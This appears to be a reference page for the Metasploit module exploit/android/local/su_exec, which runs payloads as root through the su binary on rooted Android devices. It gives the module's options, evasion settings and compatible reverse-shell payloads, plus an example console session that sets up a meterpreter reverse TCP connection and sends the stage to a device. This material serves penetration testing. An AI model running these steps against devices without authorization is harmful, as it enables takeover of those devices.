Android 'su' Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/android/local/su_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Android 'su' Privilege Escalation
Module: exploit/android/local/su_exec
Source code: modules/exploits/android/local/su_exec.rb
Disclosure date: 2017-08-31
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): aarch64, armle, x86, x64, mipsle
Supported platform(s): Android, Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module uses the su binary present on rooted devices to run a payload as root. A rooted Android device will contain a su binary (often linked with an application) that allows the user to run commands as root. This module will use the su binary to execute a command stager as root. The command stager will write a payload binary to a temporary directory, make it executable, execute it in the background, and finally delete the executable. On most devices the su binary will pop-up a prompt on the device asking the user for permission.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/android/local/su_exec
msf exploit(su_exec) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module uses the su binary present on rooted devices to run a payload as root.
A rooted Android device will contain a su binary (often linked with an application) that allows the user to run commands as root. This module will use the su binary to execute a command stager as root. The command stager will write a payload binary to a temporary directory, make it executable, execute it in the background, and finally delete the executable.
On most devices the su binary will pop-up a prompt on the device asking the user for permission.
This module will only work on rooted devices. An off the shelf Android device is unlikely to be rooted, however it's possible to root a device without losing the data. Many devices can be rooted by flashing new firmware, however the existing data will be lost.
Scenarios
You'll first need to obtain a session on the target device. To do this follow the instructions here
Once the module is loaded, one simply needs to set the SESSION
option and configure the handler.
An example session follows:
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter dalvik/android u0_a80 @ localhost 192.168.0.176:4444 -> 192.168.0.107:46059 (192.168.0.107)
msf5 exploit(multi/handler) > use exploit/android/local/su_exec
msf5 exploit(android/local/su_exec) > set SESSION 1
SESSION => 1
msf5 exploit(android/local/su_exec) > set payload linux/aarch64/meterpreter/reverse_tcp
payload => linux/aarch64/meterpreter/reverse_tcp
msf5 exploit(android/local/su_exec) > set LHOST 192.168.0.176
LHOST => 192.168.0.176
msf5 exploit(android/local/su_exec) > set LPORT 4445
LPORT => 4445
msf5 exploit(android/local/su_exec) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.176:4445
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (818780 bytes) to 192.168.0.107
[*] Meterpreter session 2 opened (192.168.0.176:4445 -> 192.168.0.107:49710) at 2018-10-01 17:44:50 +0800
[-] Exploit failed: Rex::TimeoutError Operation timed out.
[*] Exploit completed, but no session was created.
Please not that in most cases you will have to manually confirm the Superuser prompt
on the device itself before the module completes. You can do set WfsDelay 10
to
give yourself more time.
Go back to menu.
Msfconsole Usage
Here is how the android/local/su_exec exploit module looks in the msfconsole:
msf6 > use exploit/android/local/su_exec
[*] Using configured payload linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(android/local/su_exec) > show info
Name: Android 'su' Privilege Escalation
Module: exploit/android/local/su_exec
Platform: Android, Linux
Arch: aarch64, armle, x86, x64, mipsle
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2017-08-31
Provided by:
timwr
Available targets:
Id Name
-- ----
0 aarch64
1 armle
2 x86
3 x64
4 mipsle
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SU_BINARY su yes The su binary to execute to obtain root
URIPATH no The URI to use for this exploit (default is random)
WritableDir /data/local/tmp/ yes Writable directory
Payload information:
Description:
This module uses the su binary present on rooted devices to run a
payload as root. A rooted Android device will contain a su binary
(often linked with an application) that allows the user to run
commands as root. This module will use the su binary to execute a
command stager as root. The command stager will write a payload
binary to a temporary directory, make it executable, execute it in
the background, and finally delete the executable. On most devices
the su binary will pop-up a prompt on the device asking the user for
permission.
Module Options
This is a complete list of options available in the android/local/su_exec exploit:
msf6 exploit(android/local/su_exec) > show options
Module options (exploit/android/local/su_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SU_BINARY su yes The su binary to execute to obtain root
URIPATH no The URI to use for this exploit (default is random)
WritableDir /data/local/tmp/ yes Writable directory
Payload options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 aarch64
Advanced Options
Here is a complete list of advanced options supported by the android/local/su_exec exploit:
msf6 exploit(android/local/su_exec) > show advanced
Module advanced options (exploit/android/local/su_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 5 no Additional delay in seconds to wait for a session
Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the android/local/su_exec module can exploit:
msf6 exploit(android/local/su_exec) > show targets
Exploit targets:
Id Name
-- ----
0 aarch64
1 armle
2 x86
3 x64
4 mipsle
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the android/local/su_exec exploit:
msf6 exploit(android/local/su_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/aarch64/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
4 payload/linux/aarch64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
5 payload/linux/aarch64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
6 payload/linux/aarch64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
7 payload/linux/aarch64/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
8 payload/linux/aarch64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the android/local/su_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(android/local/su_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
61: datastore['SU_BINARY'].to_s
62: end
63:
64: def exploit
65: if is_root?
66: fail_with Failure::BadConfig, 'Session already has root privileges'
67: end
68:
69: linemax = 4088 - su_bin.size
70: execute_cmdstager({
71: flavor: :echo,
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10012 Merged Pull Request: Add an Android module to run payloads with su on a rooted device
Go back to menu.
See Also
Check also the following modules related to this module:
- exploit/linux/local/ptrace_sudo_token_priv_esc
- exploit/linux/local/sudo_baron_samedit
- exploit/linux/local/zpanel_zsudo
- exploit/osx/local/libxpc_mitm_ssudo
- post/multi/manage/sudo
- post/multi/recon/sudo_commands
- auxiliary/admin/2wire/xslt_password_reset
- auxiliary/admin/http/dlink_dir_645_password_extractor
- auxiliary/admin/http/dlink_dsl320b_password_extractor
- auxiliary/admin/http/mantisbt_password_reset
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/zyxel_admin_password_extractor
- auxiliary/admin/scada/modicon_password_recovery
- auxiliary/admin/vxworks/apple_airport_extreme_password
- auxiliary/dos/http/wordpress_long_password_dos
- auxiliary/gather/c2s_dvr_password_disclosure
- auxiliary/gather/ipcamera_password_disclosure
- auxiliary/gather/netgear_password_disclosure
- auxiliary/scanner/http/http_sickrage_password_leak
- auxiliary/scanner/misc/raysharp_dvr_passwords
- auxiliary/scanner/misc/rosewill_rxs3211_passwords
- auxiliary/scanner/telnet/lantronix_telnet_password
- exploit/linux/antivirus/escan_password_exec
- exploit/osx/local/root_no_password
- exploit/windows/http/integard_password_bof
- post/firefox/gather/passwords
- post/osx/gather/autologin_password
- post/osx/gather/password_prompt_spoof
- post/osx/gather/vnc_password_osx
- post/windows/gather/credentials/avira_password
- post/windows/gather/credentials/teamviewer_passwords
- post/windows/gather/credentials/xshell_xftp_password
- post/windows/manage/change_password
- exploit/linux/local/su_login
- exploit/android/browser/samsung_knox_smdm_url
Authors
timwr
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.